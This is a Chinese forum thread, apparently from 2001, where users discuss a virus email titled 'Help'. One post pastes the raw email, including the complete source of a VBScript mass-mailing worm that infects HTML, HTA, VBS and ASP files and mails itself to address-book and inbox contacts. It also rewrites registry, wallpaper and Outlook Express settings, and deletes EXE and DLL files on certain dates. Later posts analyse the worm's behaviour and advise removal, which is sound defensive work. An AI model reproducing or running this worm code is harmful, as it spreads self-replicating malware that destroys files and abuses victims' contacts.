刚才收到了一个邮件，标题是Help，但是邮件本身有病毒！

不知道 help.vbs
是不是其中的一种呀，我这里中了，
还好危害不很大，可以干掉。
我中的好象不是病毒，

songyangk
hnlzh
zhuzhichao
SCUM
prog_st
ch81
jiangsheng
net_lover
luhongjun
你们全部都收到这封邮件了，请小心。

是收到了,而且肯定是病毒.大概看了一下,有时它会删除文件.
Received: from fhtserver.thtf (unknown [211.101.171.6])
by bjmx2.163.net (Postfix) with ESMTP
id 82D4B1DA27D81; Thu, 27 Sep 2001 14:53:46 +0800 (CST)
Received: from luopei ([10.1.1.176])
by fhtserver.thtf (8.9.3/8.9.3) with SMTP id PAA08738;
Thu, 27 Sep 2001 15:19:45 -0800
Date: Thu, 27 Sep 2001 15:19:45 -0800
Message-ID: <001501c14721$4d5cba20$b001010a@thtfstb>
From: "luopei" <[email protected]>
To: <[email protected]>, <[email protected]>, <[email protected]>,
<[email protected]>, <[email protected]>, <[email protected]>,
<[email protected]>, <[email protected]>, <[email protected]>,
<[email protected]>, <[email protected]>,
<[email protected]>, <[email protected]>,
<[email protected]>, <[email protected]>,
<[email protected]>, <[email protected]>, <[email protected]>,
<[email protected]>
Subject:  Help
MIME-Version: 1.0
Content-Type: text/html;
charset="gb2312"
Content-Transfer-Encoding: quoted-printable
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200<HTML><HEAD>
<Title> Help </Title></HEAD>
<Body> <script language=3D'VBScript'>
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
                 =20
Rem I am sorry! happy time                 =20
On Error Resume Next                 =20
mload                 =20
Sub mload()                 =20
On Error Resume Next                 =20
mPath =3D Grf()                 =20
Set Os =3D CreateObject("Scriptlet.TypeLib")                 =20
Set Oh =3D CreateObject("Shell.Application")                 =20
If IsHTML Then                 =20
mURL =3D LCase(document.Location)                 =20
If mPath =3D "" Then                 =20
Os.Reset                 =20
Os.Path =3D "C:\Help.htm"                 =20
Os.Doc =3D Lhtml()                 =20
Os.Write()                 =20
Ihtml =3D "<span style=3D'position:absolute'><Iframe src=3D'C:\Help.htm' =
width=3D'0' height=3D'0'></Iframe></span>"                 =20
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)               =
  =20
Else                 =20
If Iv(mPath, "Help.vbs") Then                 =20
setInterval "Rt()", 10000                 =20
Else                 =20
m =3D "hta"                 =20
If LCase(m) =3D Right(mURL, Len(m)) Then                 =20
id =3D setTimeout("mclose()", 1)                 =20
main                 =20
Else                 =20
Os.Reset()                 =20
Os.Path =3D mPath & "\" & "Help.hta"                 =20
Os.Doc =3D Lhtml()                 =20
Os.write()                 =20
Iv mPath, "Help.hta"                 =20
End If                 =20
End If                 =20
End If                 =20
Else                 =20
main                 =20
End If                 =20
End Sub                 =20
Sub main()                 =20
On Error Resume Next                 =20
Set Of =3D CreateObject("Scripting.FileSystemObject")                 =20
Set Od =3D CreateObject("Scripting.Dictionary")                 =20
Od.Add "html", "1100"                 =20
Od.Add "vbs", "0100"                 =20
Od.Add "htm", "1100"                 =20
Od.Add "asp", "0010"                 =20
Ks =3D "HKEY_CURRENT_USER\Software\"                 =20
Ds =3D Grf()                 =20
Cs =3D Gsf()                 =20
If IsVbs Then                 =20
If Of.FileExists("C:\help.htm") Then                 =20
Of.DeleteFile ("C:\help.htm")                 =20
End If                 =20
Key =3D CInt(Month(Date) + Day(Date))                 =20
If Key =3D 13 Then                 =20
Od.RemoveAll                 =20
Od.Add "exe", "0001"                 =20
Od.Add "dll", "0001"                 =20
End If                 =20
Cn =3D Rg(Ks & "Help\Count")                 =20
If Cn =3D "" Then                 =20
Cn =3D 1                 =20
End If                 =20
Rw Ks & "Help\Count", Cn + 1                 =20
f1 =3D Rg(Ks & "Help\FileName")                 =20
f2 =3D FNext(Of, Od, f1)                 =20
fext =3D GetExt(Of, Od, f2)                 =20
Rw Ks & "Help\FileName", f2                 =20
If IsDel(fext) Then                 =20
f3 =3D f2                 =20
f2 =3D FNext(Of, Od, f2)                 =20
Rw Ks & "Help\FileName", f2                 =20
Of.DeleteFile f3                 =20
Else                 =20
If LCase(WScript.ScriptFullname) <> LCase(f2) Then                 =20
Fw Of, f2, fext                 =20
End If                 =20
End If                 =20
If (CInt(Cn) Mod 366) =3D 0 Then                 =20
If (CInt(Second(Time)) Mod 2) =3D 0 Then                 =20
Tsend                 =20
Else                 =20
adds =3D Og                 =20
Msend (adds)                 =20
End If                 =20
End If                 =20
wp =3D Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")           =
      =20
If Rg(Ks & "Help\wallPaper") <> wp Or wp =3D "" Then                 =20
If wp =3D "" Then                 =20
n1 =3D ""                 =20
n3 =3D Cs & "\Help.htm"                 =20
Else                 =20
mP =3D Of.GetFile(wp).ParentFolder                 =20
n1 =3D Of.GetFileName(wp)                 =20
n2 =3D Of.GetBaseName(wp)                 =20
n3 =3D Cs & "\" & n2 & ".htm"                 =20
End If                 =20
Set pfc =3D Of.CreateTextFile(n3, True)                 =20
mt =3D Sa("1100")                 =20
pfc.Write "<" & "HTML><" & "body bgcolor=3D'#007f7f' background=3D'" & =
n1 & "'><" & "/Body><" & "/HTML>" & mt                 =20
pfc.Close                 =20
Rw Ks & "Help\wallPaper", n3                 =20
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3               =
  =20
End If                 =20
Else                 =20
Set fc =3D Of.CreateTextFile(Ds & "\Help.vbs", True)                 =20
fc.Write Sa("0100")                 =20
fc.Close                 =20
bf =3D Cs & "\Untitled.htm"                 =20
Set fc2 =3D Of.CreateTextFile(bf, True)                 =20
fc2.Write Lhtml                 =20
fc2.Close                 =20
oeid =3D Rg("HKEY_CURRENT_USER\Identities\Default User ID")              =
   =20
oe =3D "HKEY_CURRENT_USER\Identities\" & oeid & =
"\Software\Microsoft\Outlook Express\5.0\Mail"                 =20
MSH =3D oe & "\Message Send HTML"                 =20
CUS =3D oe & "\Compose Use Stationery"                 =20
SN =3D oe & "\Stationery Name"                 =20
Rw MSH, 1                 =20
Rw CUS, 1                 =20
Rw SN, bf                 =20
Web =3D Cs & "\WEB"                 =20
Set gf =3D Of.GetFolder(Web).Files                 =20
Od.Add "htt", "1100"                 =20
For Each m In gf                 =20
fext =3D GetExt(Of, Od, m)                 =20
If fext <> "" Then                 =20
Fw Of, m, fext                 =20
End If                 =20
Next                 =20
End If                 =20
End Sub                 =20
Sub mclose()                 =20
document.Write "<" & "title>I am sorry!</title" & ">"                 =20
window.Close                 =20
End Sub                 =20
Sub Rt()                 =20
Dim mPath                 =20
On Error Resume Next                 =20
mPath =3D Grf()                 =20
Iv mPath, "Help.vbs"                 =20
End Sub                 =20
Function Sa(n)                 =20
Dim VBSText, m                 =20
VBSText =3D Lvbs()                 =20
If Mid(n, 3, 1) =3D 1 Then                 =20
m =3D "<%" & VBSText & "%>"                 =20
End If                 =20
If Mid(n, 2, 1) =3D 1 Then                 =20
m =3D VBSText                 =20
End If                 =20
If Mid(n, 1, 1) =3D 1 Then                 =20
m =3D Lscript(m)                 =20
End If                 =20
Sa =3D m & vbCrLf                 =20
End Function                 =20
Sub Fw(Of, S, n)                 =20
Dim fc, fc2, m, mmail, mt                 =20
On Error Resume Next                 =20
Set fc =3D Of.OpenTextFile(S, 1)                 =20
mt =3D fc.ReadAll                 =20
fc.Close                 =20
If Not Sc(mt) Then                 =20
mmail =3D Ml(mt)                 =20
mt =3D Sa(n)                 =20
Set fc2 =3D Of.OpenTextFile(S, 8)                 =20
fc2.Write mt                 =20
fc2.Close                 =20
Msend (mmail)                 =20
End If                 =20
End Sub                 =20
Function Sc(S)                 =20
mN =3D "Rem I am sorry! happy time"                 =20
If InStr(S, mN) > 0 Then                 =20
Sc =3D True                 =20
Else                 =20
Sc =3D False                 =20
End If                 =20
End Function                 =20
Function FNext(Of, Od, S)                 =20
Dim fpath, fname, fext, T, gf                 =20
On Error Resume Next                 =20
fname =3D ""                 =20
T =3D False                 =20
If Of.FileExists(S) Then                 =20
fpath =3D Of.GetFile(S).ParentFolder                 =20
fname =3D S                 =20
ElseIf Of.FolderExists(S) Then                 =20
fpath =3D S                 =20
T =3D True                 =20
Else                 =20
fpath =3D Dnext(Of, "")                 =20
End If                 =20
Do While True                 =20
Set gf =3D Of.GetFolder(fpath).Files                 =20
For Each m In gf                 =20
If T Then                 =20
If GetExt(Of, Od, m) <> "" Then                 =20
FNext =3D m                 =20
Exit Function                 =20
End If                 =20
ElseIf LCase(m) =3D LCase(fname) Or fname =3D "" Then                 =20
T =3D True                 =20
End If                 =20
Next                 =20
fpath =3D Pnext(Of, fpath)                 =20
Loop                 =20
End Function                 =20
Function Pnext(Of, S)                 =20
On Error Resume Next                 =20
Dim Ppath, Npath, gp, pn, T, m                 =20
T =3D False                 =20
If Of.FolderExists(S) Then                 =20
Set gp =3D Of.GetFolder(S).SubFolders                 =20
pn =3D gp.Count                 =20
If pn =3D 0 Then                 =20
Ppath =3D LCase(S)                 =20
Npath =3D LCase(Of.GetParentFolderName(S))                 =20
T =3D True                 =20
Else                 =20
Npath =3D LCase(S)                 =20
End If                 =20
Do While Not Er                 =20
For Each pn In Of.GetFolder(Npath).SubFolders                 =20
If T Then                 =20
If Ppath =3D LCase(pn) Then                 =20
T =3D False                 =20
End If                 =20
Else                 =20
Pnext =3D LCase(pn)                 =20
Exit Function                 =20
End If                 =20
Next                 =20
T =3D True                 =20
Ppath =3D LCase(Npath)                 =20
Npath =3D Of.GetParentFolderName(Npath)                 =20
If Of.GetFolder(Ppath).IsRootFolder Then                 =20
m =3D Of.GetDriveName(Ppath)                 =20
Pnext =3D Dnext(Of, m)                 =20
Exit Function                 =20
End If                 =20
Loop                 =20
End If                 =20
End Function                 =20
Function Dnext(Of, S)                 =20
Dim dc, n, d, T, m                 =20
On Error Resume Next                 =20
T =3D False                 =20
m =3D ""                 =20
Set dc =3D Of.Drives                 =20
For Each d In dc                 =20
If d.DriveType =3D 2 Or d.DriveType =3D 3 Then                 =20
If T Then                 =20
Dnext =3D d                 =20
Exit Function                 =20
Else                 =20
If LCase(S) =3D LCase(d) Then                 =20
T =3D True                 =20
End If                 =20
If m =3D "" Then                 =20
m =3D d                 =20
End If                 =20
End If                 =20
End If                 =20
Next                 =20
Dnext =3D m                 =20
End Function                 =20
Function GetExt(Of, Od, S)                 =20
Dim fext                 =20
On Error Resume Next                 =20
fext =3D LCase(Of.GetExtensionName(S))                 =20
GetExt =3D Od.Item(fext)                 =20
End Function                 =20
Sub Rw(k, v)                 =20
Dim R                 =20
On Error Resume Next                 =20
Set R =3D CreateObject("WScript.Shell")                 =20
R.RegWrite k, v                 =20
End Sub                 =20
Function Rg(v)                 =20
Dim R                 =20
On Error Resume Next                 =20
Set R =3D CreateObject("WScript.Shell")                 =20
Rg =3D R.RegRead(v)                 =20
End Function                 =20
Function IsVbs()                 =20
Dim ErrTest                 =20
On Error Resume Next                 =20
ErrTest =3D WScript.ScriptFullname                 =20
If Err Then                 =20
IsVbs =3D False                 =20
Else                 =20
IsVbs =3D True                 =20
End If                 =20
End Function                 =20
Function IsHTML()                 =20
Dim ErrTest                 =20
On Error Resume Next                 =20
ErrTest =3D document.Location                 =20
If Er Then                 =20
IsHTML =3D False                 =20
Else                 =20
IsHTML =3D True                 =20
End If                 =20
End Function                 =20
Function IsMail(S)                 =20
Dim m1, m2                 =20
IsMail =3D False                 =20
If InStr(S, vbCrLf) =3D 0 Then                 =20
m1 =3D InStr(S, "@")                 =20
m2 =3D InStr(S, ".")                 =20
If m1 <> 0 And m1 < m2 Then                 =20
IsMail =3D True                 =20
End If                 =20
End If                 =20
End Function                 =20
Function Lvbs()                 =20
Dim f, m, ws, Of                 =20
On Error Resume Next                 =20
If IsVbs Then                 =20
Set Of =3D CreateObject("Scripting.FileSystemObject")                 =20
Set f =3D Of.OpenTextFile(WScript.ScriptFullname, 1)                 =20
Lvbs =3D f.ReadAll                 =20
Else                 =20
For Each ws In document.scripts                 =20
If LCase(ws.Language) =3D "vbscript" Then                 =20
If Sc(ws.Text) Then                 =20
Lvbs =3D ws.Text                 =20
Exit Function                 =20
End If                 =20
End If                 =20
Next                 =20
End If                 =20
End Function                 =20
Function Iv(mPath, mName)                 =20
Dim Shell                 =20
On Error Resume Next                 =20
Set Shell =3D CreateObject("Shell.Application")                 =20
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb                 =20
If Er Then                 =20
Iv =3D False                 =20
Else                 =20
Iv =3D True                 =20
End If                 =20
End Function                 =20
Function Grf()                 =20
Dim Shell, mPath                 =20
On Error Resume Next                 =20
Set Shell =3D CreateObject("Shell.Application")                 =20
mPath =3D "C:\"                 =20
For Each mShell In Shell.NameSpace(mPath).Items                 =20
If mShell.IsFolder Then                 =20
Grf =3D mShell.Path                 =20
Exit Function                 =20
End If                 =20
Next                 =20
If Er Then                 =20
Grf =3D ""                 =20
End If                 =20
End Function                 =20
Function Gsf()                 =20
Dim Of, m                 =20
On Error Resume Next                 =20
Set Of =3D CreateObject("Scripting.FileSystemObject")                 =20
m =3D Of.GetSpecialFolder(0)                 =20
If Er Then                 =20
Gsf =3D "C:\"                 =20
Else                 =20
Gsf =3D m                 =20
End If                 =20
End Function                 =20
Function Lhtml()                 =20
Lhtml =3D "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _                 =20
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _               =
  =20
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _                 =20
"<" & "/Body></HTML" & ">"                 =20
End Function                 =20
Function Lscript(S)                 =20
Lscript =3D "<" & "script language=3D'VBScript'>" & vbCrLf & _           =
      =20
S & "<" & "/script" & ">"                 =20
End Function                 =20
Function Sl(S1, S2, n)                 =20
Dim l1, l2, l3, i                 =20
l1 =3D Len(S1)                 =20
l2 =3D Len(S2)                 =20
i =3D InStr(S1, S2)                 =20
If i > 0 Then                 =20
l3 =3D i + l2 - 1                 =20
If n =3D 0 Then                 =20
Sl =3D Left(S1, i - 1)                 =20
ElseIf n =3D 1 Then                 =20
Sl =3D Right(S1, l1 - l3)                 =20
End If                 =20
Else                 =20
Sl =3D ""                 =20
End If                 =20
End Function                 =20
Function Ml(S)                 =20
Dim S1, S3, S2, T, adds, m                 =20
S1 =3D S                 =20
S3 =3D """"                 =20
adds =3D ""                 =20
S2 =3D S3 & "mailto" & ":"                 =20
T =3D True                 =20
Do While T                 =20
S1 =3D Sl(S1, S2, 1)                 =20
If S1 =3D "" Then                 =20
T =3D False                 =20
Else                 =20
m =3D Sl(S1, S3, 0)                 =20
If IsMail(m) Then                 =20
adds =3D adds & m & vbCrLf                 =20
End If                 =20
End If                 =20
Loop                 =20
Ml =3D Split(adds, vbCrLf)                 =20
End Function                 =20
Function Og()                 =20
Dim i, n, m(), Om, Oo                 =20
Set Oo =3D CreateObject("Outlook.Application")                 =20
Set Om =3D Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items            =
     =20
n =3D Om.Count                 =20
ReDim m(n)                 =20
For i =3D 1 To n                 =20
m(i - 1) =3D Om.Item(i).Email1Address                 =20
Next                 =20
Og =3D m                 =20
End Function                 =20
Sub Tsend()                 =20
Dim Od, MS, MM, a, m                 =20
Set Od =3D CreateObject("Scripting.Dictionary")                 =20
MConnect MS, MM                 =20
MM.FetchSorted =3D True                 =20
MM.Fetch                 =20
For i =3D 0 To MM.MsgCount - 1                 =20
MM.MsgIndex =3D i                 =20
a =3D MM.MsgOrigAddress                 =20
If Od.Item(a) =3D "" Then                 =20
Od.Item(a) =3D MM.MsgSubject                 =20
End If                 =20
Next                 =20
For Each m In Od.Keys                 =20
MM.Compose                 =20
MM.MsgSubject =3D "Fw: " & Od.Item(m)                 =20
MM.RecipAddress =3D m                 =20
MM.AttachmentPathName =3D Gsf & "\Untitled.htm"                 =20
MM.Send                 =20
Next                 =20
MS.SignOff                 =20
End Sub                 =20
Function MConnect(MS, MM)                 =20
Dim U                 =20
On Error Resume Next                 =20
Set MS =3D CreateObject("MSMAPI.MAPISession")                 =20
Set MM =3D CreateObject("MSMAPI.MAPIMessages")                 =20
U =3D Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging =
Subsystem\Profiles\DefaultProfile")                 =20
MS.UserName =3D U                 =20
MS.DownLoadMail =3D False                 =20
MS.NewSession =3D False                 =20
MS.LogonUI =3D True                 =20
MS.SignOn                 =20
MM.SessionID =3D MS.SessionID                 =20
End Function                 =20
Sub Msend(Address)                 =20
Dim MS, MM, i, a                 =20
MConnect MS, MM                 =20
i =3D 0                 =20
MM.Compose                 =20
For Each a In Address                 =20
If IsMail(a) Then                 =20
MM.RecipIndex =3D i                 =20
MM.RecipAddress =3D a                 =20
i =3D i + 1                 =20
End If                 =20
Next                 =20
MM.MsgSubject =3D " Help "                 =20
MM.AttachmentPathName =3D Gsf & "\Untitled.htm"                 =20
MM.Send                 =20
MS.SignOff                 =20
End Sub                 =20
Function Er()                 =20
If Err.Number =3D 0 Then                 =20
Er =3D False                 =20
Else                 =20
Err.Clear                 =20
Er =3D True                 =20
End If                 =20
End Function                 =20
Function IsDel(S)                 =20
If Mid(S, 4, 1) =3D 1 Then                 =20
IsDel =3D True                 =20
Else                 =20
IsDel =3D False                 =20
End If                 =20
End Function                 =20
                 =20
                 =20
                 =20
                 =20
                 =20</script>
</Body></HTML>

to chechy :可以告诉我你的联系方式和qq号吗？

我不用QQ。我的Email，CSDN早就公开了。

对不起，我刚来不久，还不会使csdn，您能再说一遍吗？

[email protected]
上面那封信就能找到。

我今天也收到一封名为"希望多交流"作者叫"张铮"的邮件,里面只有一个附件email.exe我没有打开它,不知是不知病毒

不会吧？？？？？？？老大！！我有没有收到呢？？？我刚刚看了一个网友写来的Help为主题的邮件～～～～～～

不是。
是一段VBS。
我看不大懂。
不过我断定不是搞什么好事。
我刚把rising升级了。
你们呢？
现在rising version 13.02。

我分析了songyangk(小草)贴上来的脚本，这是一个恶意脚本，是否是欢乐时光，不敢肯定，因为我没有看到欢乐时光的代码。就这么一个东西，我不能把它成为是病毒，虽然它具有病毒的传染性和破坏性，但却没有病毒的隐蔽性。下面是该脚本的恶毒行为：
传染htm和hta以及vbs文件
读取邮件箱的邮件，加入脚本回复回去。
读取邮件地址簿中地址，发送带有脚本的help邮件
写注册表HKEY_CURRENT_USER\Software\Help\ （如果你的机器中了毒，请删除这个注册项，不管它里面有什么东东）
当月份+日期=13时，删除EXE和DLL文件
每激活366次，就会发送一次邮件
具体的细节太多，无法一一说明，有兴趣可以自己分析一下。

调试易

刚才收到了一个邮件，标题是Help，但是邮件本身有病毒！

解决方案 »